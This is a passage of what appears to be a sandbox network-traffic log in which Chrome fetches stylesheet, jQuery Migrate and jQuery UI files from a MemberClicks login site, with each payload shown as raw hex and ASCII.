2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 62 6c 65 20 74 64 20 7b 70 61 64 64 69 6e 67 3a 20 39 70 78 3b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 74 6f 70 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 70 61 6e 65 6f 70 65 6e 20 74 61 62 6c 65 20 74 68 2c 20 23 74 69 6e 79 6d 63 65 20 74 61 62 6c 65 20 74 68 20 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 64 64 64 3b 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 20 70 61 64 64 69 6e 67 3a 20 39 70 78 20 30 3b 7d 0d 0a 2f 2a 20 62 6f 72 64 65 72 6c 65 73 73 20 6f 70 74 69 6f 6e 20 2a 2f 0d 0a 2e 63 6f 6e 74 65 6e 74 70 61 6e 65 6f 70 65 6e 20 74 61 62 6c 65 2e 62 6f 72 64 65 72 6c 65 73 73 20 74 64 20 7b 62 6f 72 64 Data Ascii: ble td {padding: 9px; border: 1px solid #ddd; vertical-align: top;}.contentpaneopen table th, #tinymce table th {background: #ddd; color: #333; border: 1px solid #ddd; padding: 9px 0;}/* borderless option */.contentpaneopen table.borderless td {bord
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 33 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 0d 0a 68 34 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 20 68 35 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 20 68 36 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 0d 0a 75 6c 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 20 6f 6c 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 70 78 3b 7d 0d 0a 0d 0a 61 2c 20 61 3a 76 69 73 69 74 65 64 20 7b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: 3:first-child,h4:first-child, h5:first-child, h6:first-child,ul:first-child, ol:first-child {margin-top: 0px;}a, a:visited {text-decoration: underline;}a:hover, a:active {text-decoration: none;}/* ------------------------------
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 65 66 61 75 6c 74 20 6d 65 6e 75 20 69 74 65 6d 20 2b 20 27 2e 68 69 64 65 2d 6f 6e 2d 68 6f 6d 65 27 20 6f 6e 20 74 68 65 20 6d 6f 64 75 6c 65 20 2a 2f 0d 0a 62 6f 64 79 2e 68 6f 6d 65 20 2e 68 69 64 65 2d 6f 6e 2d 68 6f 6d 65 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 20 4c 41 59 4f 55 54 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0d 0a 0d 0a 2f 2a 20 23 62 6b 67 20 69 73 20 74 68 65 Data Ascii: efault menu item + '.hide-on-home' on the module /body.home .hide-on-home {display: none !important;}/ ----------------------------------- // ------ LAYOUT --------------------- // ----------------------------------- // #bkg is the
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 69 6e 2c 20 61 6e 64 20 6c 69 73 74 2d 73 74 79 6c 65 20 66 72 6f 6d 20 68 65 61 64 65 72 2c 20 72 69 67 68 74 2d 62 61 72 20 61 6e 64 20 66 6f 6f 74 65 72 20 6c 69 73 74 73 20 2a 2f 0d 0a 23 68 65 61 64 65 72 20 75 6c 2c 20 23 72 69 67 68 74 2d 62 61 72 20 75 6c 2c 20 23 66 6f 6f 74 65 72 20 75 6c 20 7b 6d 61 72 67 69 6e 3a 20 30 20 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 7d 0d 0a 0d 0a 2f 2a 20 6e 69 76 6f 20 73 6c 69 64 65 72 20 6d 61 69 6e 20 6d 6f 64 75 6c 65 20 2d 20 6e 65 65 64 73 20 77 69 64 74 68 20 66 6f 72 20 70 72 6f 70 65 72 20 69 6d 61 67 65 20 72 65 73 69 7a 69 6e 67 20 69 6e 20 46 69 72 65 66 6f 78 20 2a 2f 0d 0a 2e 6d 6f 64 75 6c 65 74 61 62 6c 65 2e 73 6c 69 64 65 72 2d 77 69 64 74 68 Data Ascii: in, and list-style from header, right-bar and footer lists /#header ul, #right-bar ul, #footer ul {margin: 0 ; padding: 0; list-style: none;}/ nivo slider main module - needs width for proper image resizing in Firefox */.moduletable.slider-width
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 61 72 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 7d 0d 0a 0d 0a 2f 2a 20 42 75 74 74 6f 6e 20 4c 69 73 74 20 26 20 52 69 67 68 74 2d 42 61 72 20 4c 6f 67 69 6e 20 42 75 74 74 6f 6e 20 2a 2f 0d 0a 2e 6d 63 2d 62 75 74 74 6f 6e 2d 6c 69 73 74 20 6c 69 20 61 2c 20 2e 73 69 64 65 2d 62 61 72 20 61 23 6d 63 53 69 6d 70 6c 65 4c 6f 67 69 6e 20 7b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 61 34 61 34 61 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 37 70 78 20 30 3b 0d 0a 20 20 74 65 Data Ascii: ar {margin-bottom: 30px;}/* Button List & Right-Bar Login Button */.mc-button-list li a, .side-bar a#mcSimpleLogin { background: #4a4a4a; line-height: 16px; text-decoration: none; color: white; display: block; padding: 7px 0; te
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 66 6f 72 6d 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 0d 0a 20 20 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 67 72 61 79 73 63 61 6c 65 3b 0d 0a 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 20 61 23 6d 63 53 69 6d 70 6c 65 4c 6f 67 69 6e 3a 68 6f 76 65 72 2c 20 2e 6c 6f 67 69 6e 2d 73 65 61 72 63 68 2d 6d 65 6e 75 20 61 23 6d 63 53 69 6d 70 6c 65 4c 6f 67 69 6e 3a 68 6f 76 65 72 20 7b 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 7d 0d 0a 0d 0a 23 68 65 61 64 65 72 20 2e 6d 6f 64 75 6c 65 74 61 62 6c 65 2e 6d 63 2d 73 65 61 72 63 68 2c 20 2e 6c Data Ascii: form: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale;}#header a#mcSimpleLogin:hover, .login-search-menu a#mcSimpleLogin:hover {opacity: 0.8; color: white;}#header .moduletable.mc-search, .l
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 69 6e 67 6c 65 2d 73 65 61 72 63 68 20 7b 62 6f 72 64 65 72 3a 20 30 3b 20 68 65 69 67 68 74 3a 20 34 39 70 78 3b 7d 0d 0a 23 68 65 61 64 65 72 20 2e 6d 6f 64 75 6c 65 74 61 62 6c 65 2e 6d 63 2d 73 65 61 72 63 68 2e 73 69 6e 67 6c 65 2d 73 65 61 72 63 68 20 69 6e 70 75 74 2e 69 6e 70 75 74 62 6f 78 20 7b 68 65 69 67 68 74 3a 20 33 39 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 7d 0d 0a 23 68 65 61 64 65 72 20 2e 6d 6f 64 75 6c 65 74 61 62 6c 65 2e 6d 63 2d 73 65 61 72 63 68 2e 73 69 6e 67 6c 65 2d 73 65 61 72 63 68 3a 61 66 74 65 72 20 7b 74 6f 70 3a 20 31 35 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 7d 0d 0a 0d 0a 2f 2a 20 54 68 69 73 20 68 61 6e 64 6c 65 73 20 74 68 65 20 63 61 73 65 20 6f 66 20 6f 6e 6c 79 20 61 20 4c 6f Data Ascii: ingle-search {border: 0; height: 49px;}#header .moduletable.mc-search.single-search input.inputbox {height: 39px;font-size: 14px;}#header .moduletable.mc-search.single-search:after {top: 15px; font-size: 16px;}/* This handles the case of only a Lo
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 3a 20 77 68 69 74 65 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 20 33 70 78 20 33 70 78 20 30 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0d 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 0d 0a 20 20 77 69 64 74 68 3a 20 32 31 2e 38 31 38 31 38 31 38 31 38 31 38 32 25 3b 20 2f 2a 20 34 38 2f 32 32 30 20 2a 2f 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0d 0a 7d 0d Data Ascii: : white; border-radius: 0 3px 3px 0; display: block; position: absolute; top: 0; right: 0; height: 30px; line-height: 30px; width: 21.818181818182%; /* 48/220 */ text-align: center; text-decoration: none; font-size: 12px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49897	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	724	OUT	GET /includes/js/jquery-migrate.min.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	528	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: application/javascript Content-Length: 9959 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "26e7-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafafcf221355-ATL
2024-04-23 14:53:59 UTC	841	IN	Data Raw: 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 63 29 7b 76 61 72 20 64 3d 62 2e 63 6f 6e 73 6f 6c 65 3b 66 5b 63 5d 7c 7c 28 66 5b 63 5d 3d 21 30 2c 61 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 63 29 2c 64 26 26 64 2e 77 61 72 6e 26 26 21 61 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 64 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 63 29 2c 61 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 64 2e 74 72 61 63 65 26 26 64 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 62 2c 63 2c Data Ascii: "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(a,b,c){function d(c){var d=b.console;f[c]\|\|(f[c]=!0,a.migrateWarnings.push(c),d&&d.warn&&!a.migrateMute&&(d.warn("JQMIGRATE: "+c),a.migrateTrace&&d.trace&&d.trace()))}function e(b,c,
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 22 29 3b 76 61 72 20 67 3d 61 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 61 2e 61 74 74 72 46 6e 2c 68 3d 61 2e 61 74 74 72 2c 69 3d 61 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 61 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 6a 3d 61 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 61 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 73 65 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 2c 6b 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 6c 3d 2f 5e 5b 32 33 38 5d 24 2f 2c 6d 3d 2f 5e 28 3f 3a 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 Data Ascii: ");var g=a("<input/>",{size:1}).attr("size")&&a.attrFn,h=a.attr,i=a.attrHooks.value&&a.attrHooks.value.get\|\|function(){return null},j=a.attrHooks.value&&a.attrHooks.value.set\|\|function(){return c},k=/^(?:input\|button)$/i,l=/^[238]$/,m=/^(?:autofocus\|autop
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 6e 20 61 3f 61 2e 76 61 6c 75 65 3a 6e 75 6c 6c 29 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 28 61 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 3f 6a 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a 28 22 69 6e 70 75 74 22 21 3d 3d 63 26 26 22 6f 70 74 69 6f 6e 22 21 3d 3d 63 26 26 64 28 22 6a 51 75 65 72 79 2e 66 6e 2e 61 74 74 72 28 27 76 61 6c 75 65 27 2c 20 76 61 6c 29 20 6e 6f 20 6c 6f 6e 67 65 72 20 73 65 74 73 20 70 72 6f 70 65 72 74 69 65 73 22 29 2c 76 6f 69 64 28 61 2e 76 61 6c 75 65 3d 62 29 29 7d 7d 3b 76 61 72 20 6f 2c 70 2c 71 3d 61 2e 66 6e 2e 69 6e 69 74 2c 72 3d 61 2e 66 69 6e 64 2c 73 3d Data Ascii: n a?a.value:null)},set:function(a,b){var c=(a.nodeName\|\|"").toLowerCase();return"button"===c?j.apply(this,arguments):("input"!==c&&"option"!==c&&d("jQuery.fn.attr('value', val) no longer sets properties"),void(a.value=b))}};var o,p,q=a.fn.init,r=a.find,s=
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 27 20 6d 75 73 74 20 62 65 20 71 75 6f 74 65 64 3a 20 22 2b 62 5b 30 5d 29 2c 62 5b 30 5d 3d 61 7d 63 61 74 63 68 28 65 29 7b 64 28 22 41 74 74 72 69 62 75 74 65 20 73 65 6c 65 63 74 6f 72 20 77 69 74 68 20 27 23 27 20 77 61 73 20 6e 6f 74 20 66 69 78 65 64 3a 20 22 2b 62 5b 30 5d 29 7d 7d 72 65 74 75 72 6e 20 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 62 29 7d 3b 76 61 72 20 78 3b 66 6f 72 28 78 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 78 29 26 26 28 61 2e 66 69 6e 64 5b 78 5d 3d 72 5b 78 5d 29 3b 61 2e 70 61 72 73 65 4a 53 4f 4e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a Data Ascii: ' must be quoted: "+b[0]),b[0]=a}catch(e){d("Attribute selector with '#' was not fixed: "+b[0])}}return r.apply(this,b)};var x;for(x in r)Object.prototype.hasOwnProperty.call(r,x)&&(a.find[x]=r[x]);a.parseJSON=function(a){return a?s.apply(this,arguments):
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 6a 51 75 65 72 79 2e 66 6e 2e 73 69 7a 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 74 68 65 20 2e 6c 65 6e 67 74 68 20 70 72 6f 70 65 72 74 79 22 29 2c 74 68 69 73 2e 6c 65 6e 67 74 68 7d 3b 76 61 72 20 79 3d 21 31 3b 61 2e 73 77 61 70 26 26 61 2e 65 61 63 68 28 5b 22 68 65 69 67 68 74 22 2c 22 77 69 64 74 68 22 2c 22 72 65 6c 69 61 62 6c 65 4d 61 72 67 69 6e 52 69 67 68 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 73 73 48 6f 6f 6b 73 5b 63 5d 26 26 61 2e 63 73 73 48 6f 6f 6b 73 5b 63 5d 2e 67 65 74 3b 64 26 26 28 61 2e 63 73 73 48 6f 6f 6b 73 5b 63 5d 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 Data Ascii: e=function(){return d("jQuery.fn.size() is deprecated; use the .length property"),this.length};var y=!1;a.swap&&a.each(["height","width","reliableMarginRight"],function(b,c){var d=a.cssHooks[c]&&a.cssHooks[c].get;d&&(a.cssHooks[c].get=function(){var a;ret
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 6e 74 2e 61 64 64 2c 43 3d 61 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 2c 44 3d 61 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 2c 45 3d 61 2e 66 6e 2e 74 6f 67 67 6c 65 2c 46 3d 61 2e 66 6e 2e 6c 69 76 65 2c 47 3d 61 2e 66 6e 2e 64 69 65 2c 48 3d 61 2e 66 6e 2e 6c 6f 61 64 2c 49 3d 22 61 6a 61 78 53 74 61 72 74 7c 61 6a 61 78 53 74 6f 70 7c 61 6a 61 78 53 65 6e 64 7c 61 6a 61 78 43 6f 6d 70 6c 65 74 65 7c 61 6a 61 78 45 72 72 6f 72 7c 61 6a 61 78 53 75 63 63 65 73 73 22 2c 4a 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 62 28 3f 3a 22 2b 49 2b 22 29 5c 5c 62 22 29 2c 4b 3d 2f 28 3f 3a 5e 7c 5c 73 29 68 6f 76 65 72 28 5c 2e 5c 53 2b 7c 29 5c 62 2f 2c 4c 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 Data Ascii: nt.add,C=a.event.remove,D=a.event.trigger,E=a.fn.toggle,F=a.fn.live,G=a.fn.die,H=a.fn.load,I="ajaxStart\|ajaxStop\|ajaxSend\|ajaxComplete\|ajaxError\|ajaxSuccess",J=new RegExp("\\b(?:"+I+")\\b"),K=/(?:^\|\s)hover(\.\S+\|)\b/,L=function(b){return"string"!=typeof
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 61 74 61 28 74 68 69 73 2c 22 6c 61 73 74 54 6f 67 67 6c 65 22 2b 62 2e 67 75 69 64 29 7c 7c 30 29 25 67 3b 72 65 74 75 72 6e 20 61 2e 5f 64 61 74 61 28 74 68 69 73 2c 22 6c 61 73 74 54 6f 67 67 6c 65 22 2b 62 2e 67 75 69 64 2c 64 2b 31 29 2c 63 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 65 5b 64 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 21 31 7d 3b 66 6f 72 28 68 2e 67 75 69 64 3d 66 3b 67 3c 65 2e 6c 65 6e 67 74 68 3b 29 65 5b 67 2b 2b 5d 2e 67 75 69 64 3d 66 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6c 69 63 6b 28 68 29 7d 2c 61 2e 66 6e 2e 6c 69 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 65 29 7b 72 65 74 75 72 6e 20 64 28 22 6a 51 75 65 72 79 2e 66 6e 2e 6c 69 76 65 28 29 20 69 73 20 64 65 70 72 65 63 Data Ascii: ata(this,"lastToggle"+b.guid)\|\|0)%g;return a._data(this,"lastToggle"+b.guid,d+1),c.preventDefault(),e[d].apply(this,arguments)\|\|!1};for(h.guid=f;g<e.length;)e[g++].guid=f;return this.click(h)},a.fn.live=function(b,c,e){return d("jQuery.fn.live() is deprec
2024-04-23 14:53:59 UTC	904	IN	Data Raw: 66 65 72 72 65 64 2c 50 3d 5b 5b 22 72 65 73 6f 6c 76 65 22 2c 22 64 6f 6e 65 22 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6f 6e 63 65 20 6d 65 6d 6f 72 79 22 29 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6f 6e 63 65 20 6d 65 6d 6f 72 79 22 29 2c 22 72 65 73 6f 6c 76 65 64 22 5d 2c 5b 22 72 65 6a 65 63 74 22 2c 22 66 61 69 6c 22 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6f 6e 63 65 20 6d 65 6d 6f 72 79 22 29 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6f 6e 63 65 20 6d 65 6d 6f 72 79 22 29 2c 22 72 65 6a 65 63 74 65 64 22 5d 2c 5b 22 6e 6f 74 69 66 79 22 2c 22 70 72 6f 67 72 65 73 73 22 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6d 65 6d 6f 72 79 22 29 2c 61 2e 43 61 6c 6c 62 61 63 6b 73 28 22 6d 65 6d 6f 72 79 22 29 5d 5d 3b 61 2e 44 65 66 65 72 72 65 64 3d Data Ascii: ferred,P=[["resolve","done",a.Callbacks("once memory"),a.Callbacks("once memory"),"resolved"],["reject","fail",a.Callbacks("once memory"),a.Callbacks("once memory"),"rejected"],["notify","progress",a.Callbacks("memory"),a.Callbacks("memory")]];a.Deferred=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49898	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	734	OUT	GET /includes/js/jquery-ui-custom-elvn-fr.min.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: application/javascript Content-Length: 240289 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "3aaa1-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb00f2b1365-ATL
2024-04-23 14:53:59 UTC	838	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 20 2d 20 32 30 31 35 2d 30 33 2d 31 31 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c 20 65 66 66 65 63 Data Ascii: /! jQuery UI - v - 2015-03-11 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effec
